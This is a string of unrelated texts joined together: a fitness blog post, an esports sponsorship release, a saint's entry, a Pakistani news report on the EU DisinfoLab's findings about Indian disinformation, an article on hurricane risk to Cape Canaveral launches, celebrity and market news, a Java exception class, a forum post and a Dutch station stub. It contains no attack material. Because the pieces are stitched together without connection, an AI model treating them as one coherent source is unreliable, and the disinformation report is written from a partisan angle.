I gave most of the kielbasa to Layla. A) Less calories consumed for me; B) Layla is most likely going to be a gassy mess tonight. Sigh.
I think she felt guilty for having such an indulgent snack that she gave herself timeout.
Funny story: Tyler bought Layla two new toys yesterday, both of them with strategically placed squeakies. Before going to bed last night, I put both of her toys in her bed- where she so conveniently decided to sleep that night. Well, in the middle of the night, she must have readjusted her sleeping position, because the toy squeaked and her, Tyler and I all freaked out. Like, she jumped a foot and Tyler and I instantly sat upright out of a deep sleep. It reminded me of the scene in Home Alone with Kevin's parents realized they slept through their alarm.
I found the healthier alternative on Eating Bird Food. Really, the only difference is using a mashed banana rather than a stick of butter.
Not too many things caught my eye in either of these. Bummer. When I did my prelim flip-through in the store, they looked like they'd be winners.
Hey, remember when I posted about some stuff I bought? Honestly, you should remember because I haven't been buying anything since I had a job. (Other than health insurance and almond butter from Costco.) Well, it arrived today!
The raspberry ketones and protein powder plus a muscle magazine and two trial packets for free. free. I am really pumped to give these a go tomorrow before an early morning workout!
And I did it. And it was hard. And I loved every single burpee. Surprisingly, the burpees got easier the closer I got to 100- my body was in the rhythm to really push through and explode on the jump. That makes me a happy lady. I got so pumped up, I ended up doing a bit of kickboxing as well!
For dinner, I decided to make stuffed peppers. But not our regular ol' stuffed peps. These were healthy and different and good.
I found the recipe here. I cut it in half so that Tyler could have two, and I would have one. I put some ground beef in Tyler's because he's manly and needs meat and protein. Woof.
Sometimes only adding one or two new songs in the mix really amp up a workout. They helped me get through those burpees!!
On a final note, I am seriously considering buying a Lululemon skirt. Not for running- but for normal everyday summer wear. Yes? No?
Ok, I think that just about covers all the bases. I have run out of things to write about. Hopefully you were entertained? I was…I love blogging this stuff.
I am off to the gym with my 4 new songs and 100 burpee-in guns and I am going to get a serious sweat session on!


text:
Cloud9 and Red Bull Announce Official Partnership
By John Nomis | 22 December, 2015 |
Throughout 2015, Cloud9's League of Legends team worked closely with Red Bull eSports around LCS play. In our experience, Red Bull is one of the most dedicated brands in eSports, and that's why we announce today our official partnership.
Focus and concentration are key to winning, which is why Cloud9 has always preferred Red Bull Energy Drink. Our team values the professionalism and innovative approach Red Bull brings to eSports which is why they're our official beverage partner, but it goes so much further. In 2016, Cloud9's LCS team will train daily out of the Red Bull eSports Studio – a dedicated training facility that provides us the chance to prepare for competition in a way we couldn't otherwise.
In addition to studio access, all of Cloud9's teams will have the opportunity to take part in Red Bull's mental and physical development program that creates new training regimens to help professional gamers improve and prepare for tournaments. This is the same Red Bull High Performance program that's trained athletes like Lindsey Vonn, Louie Vito and Ryan Sheckler.
"Red Bull has been supporting eSports teams with the same care and attention as their traditional sports athletes," said Jack Etienne, Owner of Cloud9. "With their eSports studio, our players will have all of the support and access we need to triumph in 2016."
Both Red Bull and Cloud9 are fully committed to the development and production of new live and non-scripted content formats as well. From web series to live streams, Cloud9 will tap into the production powers of Red Bull Media House in an effort to show its fans a view of the world in an authentic way.
The 2016 season is looking to be an incredible year for Cloud9 and eSports as a whole. Cloud9 is coming off of a major roster change to their LCS team, a huge win at Blizzcon for the HotS team, a new WoW 3v3 team, and soon a new player announcement for their CS:GO team. Red Bull's dedicated efforts to further eSports will drive our player's performance and their desire to deliver inspiring content driven by the stories of our team has come at the perfect time.
About Cloud9:
Cloud9 is a global professional gaming organization with top-tier teams in League of Legends, CS:GO, Hearthstone, Super Smash Brothers, Heroes of The Storm, SMITE and World of Warcraft. The core of the team is currently based in Santa Monica, CA and is owned by Jack Etienne. For more information about Red bull eSports follow @RedBullESPORTS on Twitter or visit www.redbull.com/eSports.
For more up-to-date news and information about all things Cloud9, check out our social pages:
Cloud9gg Cloud9gg C9ggTV team/Cloud9


Died c. 970; original feast day was February 10, feast of translation is October 23.
Merewenna was the first abbess of Rumsey convent in Hampshire, when it had been restored under King Edward the Peaceful (or Edgar?) refounded it in 967. Under her direction the monastery prospered and attracted princesses, including Saint Elfleda (f.d. October 23) by whom she lies in the abbey church (Benedictines, Farmer).


text:
News • World
India's anti-Pakistan disinformation campaign uncovered by EU DisinfoLab
Saman Iqbal
Yesterday, the internet was taken by a storm when the EU DisinfoLab uncovered a series of networks by the Indian disinformation campaign. The EU DisinfoLab revealed that a strong network of NGOs and fake media organizations was being employed by India to spread anti-Pakistan sentiments. The fake media outlets aimed to tarnish Pakistan's reputation at an international ground. It was found that these media outlets were operating for more than a decade with the goal to spread propaganda against Pakistan. For years, Pakistan had accused India for spreading fake news. It seems that finally these accusations have been proved.
Indian disinformation campaign
The EU DisinfoLab is an European NGO based in Brussels that intends to check disinformation that targets the European union. Information is a major tool of propaganda in this day and age. The lab uncovered a sophisticated operation with its roots traced to Srivastava Group operating in New Delhi. The group orchestrated hundreds of fake media outlets that made use of stolen identities to present Pakistan in a negative light.
Whoever controls the media, controls the mind.
Imran Khan, the Prime Minister of Pakistan tweeted, "Pakistan has consistently drawn attention of int community to India's subversive activities to undermine democracies in the region; & export/ fund extremism through structures of fake news orgs & "think tanks". Recently GoP provided dossier to UN of India's state terrorism in Pak." This news has further strained the relations between neighboring states. Pakistan has strongly condemned this action by the Indian government.
It was found that the Indian disinformation network worked via 700 fake media outlets. These outlets were operated by the Srivastava Group. The websites contained names such as Japan Times Today, EU Chronicles etc that regularly published pieces covering happenings of Pakistan. The EU DisinfoLab also uncovered that ANI, a well known Indian news wire agency also assisted in magnifying the stories published by these fake media outlets.
Indian Chronicles
The operation was given the name of Indian chronicles. This anti-Pakistan propaganda was being carried out by India since the past 15 years, the foundations of this propaganda were laid down in 2005. The highly strategic plan involved more than 10 UN Human Rights Council accredited NGOs. Many of these stories were published under the name of Prof. Louis B. Sohn, who happened to be a prominent human rights figured. He passed away in 2006.
The network of fake media outlets was based on identity theft. Several well known people who had passed away decades ago were resurrected on paper. These names were given to increase the credibility of anti-Pakistan propaganda. This scheme by India also aimed to spread misinformation regarding China to a certain extend. However, the primary focus was Pakistan. This campaign also aimed to build a better perception of India on international scale.
TagsIndia
'I am not a virus,' insists Indian man named Kovid
Doctor, who helped develop a Covid vaccine in India, has died
Facebook suppresses report on hate speech probe in India
Saman is a law student. She enjoys writing about tech, politics and the world in general. She's an avid reader and writes fictional prose in her free time.
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text:
Hurricane season is over, but threats to Space Coast rocket launches are still out there
Emre Kelly
In 2017, as Hurricane Irma churned in Atlantic waters with its sights set on Florida, an Air Force spaceplane tasked with a top secret mission sat on the pad at Kennedy Space Center, waiting for its ride to space.
Some 600 miles to the southeast on Sept. 7, the 400-mile-wide Irma was a Category 5 storm packing maximum sustained winds of 175 mph – a catastrophic scenario for anyone in its path, including the Boeing-built X-37B. In 72 hours, the outer bands of Irma would start spinning uncomfortably close to the Space Coast.
The Air Force had a critical decision to make: thread the needle and launch the robotic spacecraft before Irma hit, or wait for the storm to pass? Its ride to orbit, SpaceX's Falcon 9, could be ready in time. So could company and Air Force support personnel.
Turns out the safest place for the 29-foot-long spacecraft was anywhere other than Cape Canaveral.
"It was far safer up on orbit than it was anywhere else we could put it on the Cape," Air Force Brig. Gen. Wayne Monteith said in 2018, then commander of the 45th Space Wing, which oversees two bases responsible for the United States' busiest spaceport. "We launched that rocket and I immediately drove from there back to Patrick Air Force Base and signed a total evacuation order for the wing."
Luckily for the Space Coast, Irma ended up shifting west, but it still followed the spine of the Sunshine State. The price tag for statewide damages: about $50 billion, according to the National Oceanic and Atmospheric Administration.
The storm – and ones since – highlight the precarious position the Eastern Range can find itself in during hurricane season, which ended Nov. 30 and begins on the first day of June. Cape Canaveral Air Force Station and Kennedy Space Center are America's national security, science, and commercial space focal points. There are no comparable backups.
Since the Cape's founding as a spaceport in 1950, dozens of storms have threatened operations. But despite technological advances since the dawn of the Space Age, an analysis of 170 years of storms shows there is no single, reliable pattern at work. And there are still countless mysterious surrounding the colossal entities of low pressure, potentially affecting forecasting and preparedness.
But these uncertainties have reaffirmed the importance of one defense tool: vigilance.
Why Cape Canaveral?
Before towering, propellant-packed rockets dotted the horizon, Cape Canaveral – not the city to the south, but the land to the north – was home to sprawling wetlands, sleepy fishing houses, and the occasional cemetery. Ancient cultures walked along these beaches as far back as 5,000 B.C.
But when officials in charge of America's efforts to gain a foothold in space realized launches over land could fail and come crashing down over populated areas, a new challenge was added.
In many ways, Cape Canaveral's selection as the future spaceport was written in the stars. It was situated with views of the Atlantic to the east, meaning rockets could launch away from people and over water. Its proximity to the equator meant rockets would also benefit from an extra "push" thanks to Earth's rotation, a critical advantage that helps expend less fuel after liftoff. The Cape's protrusion also meant launches could target slightly northern or southern trajectories without interfering with land.
And it helped, of course, that few people lived there.
The data problem
Cape Canaveral's role as a spaceport began in July 1950 with the launch of a repurposed German V-2 rocket. Prior to the kickoff of this Space Age, hurricane data exists going back as far as 1850, but lacks critical information obtained by satellites that would become more advanced in the 1960s and beyond.
"We measure these things so well now," said Philip Klotzbach, a research scientist at Colorado State University's Department of Atmospheric Science. "We were flying one plane a day and it was very rudimentarily operated. Now we have all this amazing satellite data and we're flying multiple planes almost constantly as these things are approaching land."
An analysis of the data shows that since that first launch in 1950 and through 2019, 45 systems ranging from tropical storms on the low end to Category 4 hurricanes on the high end have come within 100 statute miles of the Cape. Of those, 31 were tropical storms and 14 were Category 1 and above. Any of those intensities, however, would be enough to delay a launch or reorganize operations around its effects.
The Saffir-Simpson Hurricane Wind Scale rates storms by wind speed, starting with Category 1 at 74 mph all the way up to Category 5, which begins at 157 mph. Systems under 74 mph but above 39 mph are classified as tropical storms and were used in this analysis due to their ability to affect spaceflight operations.
But attempting to find trends in that data – even when looking back as far as 1850 – doesn't offer the Eastern Range much in the way of predicting the future.
"There's no long-term trend in the number of land-falling hurricanes or major hurricanes," Klotzbach said. "But with that being said, the Space Coast in the past few years has had some very close calls."
Aside from Irma in 2017 and its impacts on X-37B, hurricanes Matthew in 2016 and Dorian in 2019 seriously threatened the Cape. Just a few dozen miles are all that separated the Space Coast from the Category 4 and Category 2 storms, respectively.
Long-term trends aside, Klotzbach points to several issues when it comes to hurricane data:
• Thanks to satellites and general advances in technology, it's difficult to compare today's storms to the past;
• With sea level rise, even if the storm frequencies and intensities stay the same, surges from hurricanes will likely cause more water damage;
• More people live on coastlines than ever before, meaning it's hard to compare damages wrought by previous storms versus how much damage future ones will do;
• A potentially warmer atmosphere fueled by climate change also means storms could hold more water, presenting yet another threat in the form of increasingly intense rainfalls;
• And modern structures, including those at the Cape, can withstand incredibly high winds, but an increase in water presence is something that can't easily be overcome.
Klotzbach also draws attention to mysteries in his field that impact – both in favor of and against – hurricanes.
89-year-old burlesque dancer on 'America's Got Talent': It's a yes from Cowell, Klum, Mandel, Vergara L3Harris, partner company land special operations military plane contract worth up to $3B Florida set to host two back-to-back ULA and SpaceX launches on same day this week Former Brevard County Attorney Knox violated the county's lobbying rules he signed off on Charlie Crist visits Brevard for meet-and-greet, blasts 'Rotten Ron' in campaign swing
A short-term oscillation of storm patterns, for example, has been present in the Atlantic for hundreds of years. For 20 to 30 years, the Atlantic basin will produce powerful storms, then quietly subside for an equal amount of time due to unknown mechanisms. From the 1940s to the late 1960s, for example, Florida was hit by five Category 4 hurricanes in six years, followed by a comparatively quiet period until 1995. But the length of these cycles means the National Hurricane Center and other entities really only have reliable, high-tech data for two instances since 1950 and five to seven if looking back to 1850.
El Niño and La Niña, meanwhile, are names for the opposite ends of a cycle of temperature fluctuations between the ocean and atmosphere. While they occur in the Pacific, their impacts can carry over into the Atlantic basin, especially during hurricane season.
"That's one of the biggest questions we don't know the answer to," Klotzbach said. "If we get more El Niño events, that could mean even if the waters get warmer due to climate change, a strong enough El Niño could kill the hurricane season regardless."
But studies have shown the oscillation could go either way in the future, he said.
Yet another issue impacting data and hurricanes is wind shear, a powerful force that can help tame and even direct hurricanes along their path. Strong enough wind shear can tear a hurricane apart; too weak, and it can continue relatively unabated.
"Hurricanes respond to a lot of different factors," Klotzbach said. "They respond to the water temperatures, which should go up (with climate change); they respond to temperatures throughout the atmosphere, which are also going to go up even more; and then the shearing winds may change, meaning if they become stronger that could counteract other factors."
Taken together, these issues and countless more show that regardless of how many satellite constellations orbit the Earth and how advanced technology becomes, mysteries will fight on. Datacenters full of supercomputers crunching wind shear, temperature, and other inputs can help with short-term predictions, but long-term patterns are difficult to forecast.
The data is important, but Earth is always changing.
The answer: vigilance and preparation
If it's short-term forecasts that are the most reliable, then the answer is constant vigilance, or constantly being prepared and on guard.
To achieve that, new structures at the Cape – and even some of the old – have been built to withstand powerful hurricanes. The iconic Vehicle Assembly Building, where NASA's Apollo Saturn V and space shuttles were stacked, has withstood impacts from dozens of storms and survived with moderate damages at worst.
The same can be said for launch pads: Atlas, Delta and Vulcan rocket operator United Launch Alliance, for example, said all its facilities at Cape Canaveral Air Force Station are hurricane-rated. Most structures are able to handle up to Category 3 winds, which begin at 111 mph.
And for launch weather officers and the overall 45th Weather Squadron, which provides weather support to the Air Force station and Kennedy Space Center, their work doesn't just happen on launch days.
"We are in constant contact with all of our partners, where that is NASA, Boeing, SpaceX or ULA," said Will Ulrich, a launch weather officer with the Air Force's 45th Weather Squadron. "If we see a threat developing in the Atlantic, even out there seven days before, we are receiving calls and trying to provide them information to make decisions."
"When you're talking about rockets and the buildings that store those rockets, it takes a significant amount to time for them to secure and move everything," Ulrich said, noting that the forecasting is still required outside hurricane season.
That year-round necessity, he said, reaffirms the idea that launch operations aren't all about launch day. As of this writing in December, a ULA Delta IV Heavy rocket is in its vertical integration facility at Launch Complex 37, a full seven months before its flight in June with a classified spacecraft. That means during the entire window of preparation – whether or not the rocket is in the hangar, whether or not the spacecraft is stacked on top of the rocket – can be months-long. And in the case of human rated vehicles, that timeline could be years.
This means the six months of hurricane season are critical to U.S. access to space, which has long been touted as a "warfighting domain" by the military, but so are the six months devoid of major storm activities. Whether it's billion-dollar national security spacecraft or a batch of communications satellites slated for low-Earth orbit, the stakes are high for the world's busiest spaceport.
"The infrastructure and the robustness of that infrastructure are at the forefront of our minds every day," said Lt. Gen. John F. Thompson, commander of the Air Force's Space and Missile Systems Center in Los Angeles, California.
"There are many other sites as well that we consider critical infrastructure to our nation's space enterprise," he said, referencing Vandenberg Air Force Base in California. It is also active for launches, but its position on the West Coast makes it less efficient and, in turn, far less active than Cape Canaveral. Its primary advantage comes from being able to launch rockets to the south on polar trajectories, a capability unmatched by Florida.
The Air Force's massive investments into forecasting and preparedness along with its government and commercial partners still come together in the off season. This December alone, up to five launches are slated to take flight from the range.
True to poetic form, X-37B stands out as one of the highlights of 2019. After skirting by Irma in 2017 and spending a record-breaking two years on orbit, the mini-shuttle returned to its Kennedy Space Center runway for a horizontal landing in October, completing its clandestine mission.
Considering the storm activity that Florida saw in the interim, Gen. Monteith had been right: the safest place for X-37B was indeed on orbit.
Contact Emre Kelly at aekelly@floridatoday.com or 321-242-3715. Follow him on Twitter, Facebook and Instagram at @EmreKelly.


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redpajama_set_name: RedPajamaGithub


Paperbackpages. Refresh and try again. Alican Pali marked it as to-read Dec 15, No trivia or quizzes yet. Effie dee it it was amazing Jul 22, Advanced Search Find a Library.
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Tom Hardy has revealed that he was "really, really annoyed" by a journalist who "inelegantly" asked about his sexuality during a recent press conference.
The actor is currently promoting Legend, a film about notorious East End gangsters the Kray twins in which he portrays both Reggie Kray, who was heterosexual, and Ronnie Kray, who was probably homosexual.
During a Legend press conference at Toronto International Film Festival on Saturday, Graeme Coleman of LGBT website Daily Xtra took the opportunity to ask Hardy about his own sexuality.
The journalist asked Hardy, "Do you find it hard for celebrities to talk to media about their sexuality?", to which the actor replied, "What on earth are you on about?" An awkward exchanged followed in which the journalist confirmed that he was in fact trying to ask Hardy about his own sexuality, which prompted the actor to cut him off abruptly.
"Now I'm happy to have a conversation, a discussion, at a reasonable time about anything. I'm confident in my own sexuality, and I'm also confident in my own being and talking about any issue you want to talk about it. But there is a time and a place for that," Hardy added.
The actor went on admit that he found it "very humiliating" that the journalist had tried to "openly and inelegantly pursue a line of questioning" which he was aware could be "quite awkward".
Tom Hardy's sexuality has been a frequent talking point since the actor gave an interview given to Attitude magazine in 2008 in which he apparently revealed that he had enjoyed sexual relations with men. The actor has since suggested that comments he made during the interview were taken out context and repeatedly confirmed that he considers himself heterosexual.


Risk aversion was a key theme in yesterday's markets as trade wars continued to dominate headlines in all major media outlets. President Trump took to his favoured outlet, Twitter, indicating that the US and China are not in a trade war and that the war was lost many years ago by the incompetence of previous administrations. Trump's economic adviser, Larry Kudlow, said that the two sides were negotiating and that proposed tariffs may not take effect with markets rebounding on the back of this softer stance.
Private payrolls in the US grew by 241k in March, well ahead of the consensus figure of 205k. As a precursor to Friday's Non-Farm Payroll figure, the reading indicates that the US Labour Market is in a healthy position to support greater levels of economic growth with the potential for increased consumer spending.
This morning an expectation of weak Eurozone data pushed the single currency to a 10-day low against the Dollar. German Services PMI fell to 53.9 from February's figure of 55.3, indicating that business activity rose at the slowest rate in 7 months for the region's largest economy. Both Services and Composite PMI for the Eurozone missed target by a small margin, providing no boost to the Euro. Additionally, Sterling edged lower against the Euro and Dollar as Services PMI slowed to its lowest levels in over a year and a half. The weak data can be attributed partly to the disruptive weather conditions throughout the previous month, a rise in operating expenses and Brexit-related uncertainty. Policymakers will be looking for a strong reading next month in support of a May interest rate hike.


text:
package herddb.utils;

/**
 * An illegal access to data
 *
 * @author enrico.olivelli
 */
public class IllegalDataAccessException extends RuntimeException {

    public IllegalDataAccessException(String message) {
        super(message);
    }

}


First Editions in very good condition.
THE WAY OUT OF BERKELEY SQUARE. 1970. Dust jacket.
'Vingtieme Siecle' dealing with the poetry readings, her work & holidays.
ADAM. International Review. Ed. M GRINDEA. 1956. No.257.
TRANSATLANTIC REVIEW . Ed J F McCRINDLE .


Hi,dev team of we happy few...I must say that I love your game very much,it is absolutely beautifull and amazing...but...I have huge fps drops when I am outside,it goes from 60 to something like 30 fps...I am using high settings and I have an i7 4790 proccessor,16 gb of ram and a gtx 970 graphic card and I know that my rig is more than capable of running this game at a constant 60 fps...so...can you please fix this in the upcoming patch???There was a moment,at sundown,when the fps would return to a constant 60,but only at sundown...during the day and during night the fps is all over the place.Thank you!!!


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text:
Station Aubigny-en-Artois is een spoorwegstation in de Franse gemeente Aubigny-en-Artois.

Treinverbindingen

Aubigny-en-Artois
Aubigny-en-Artois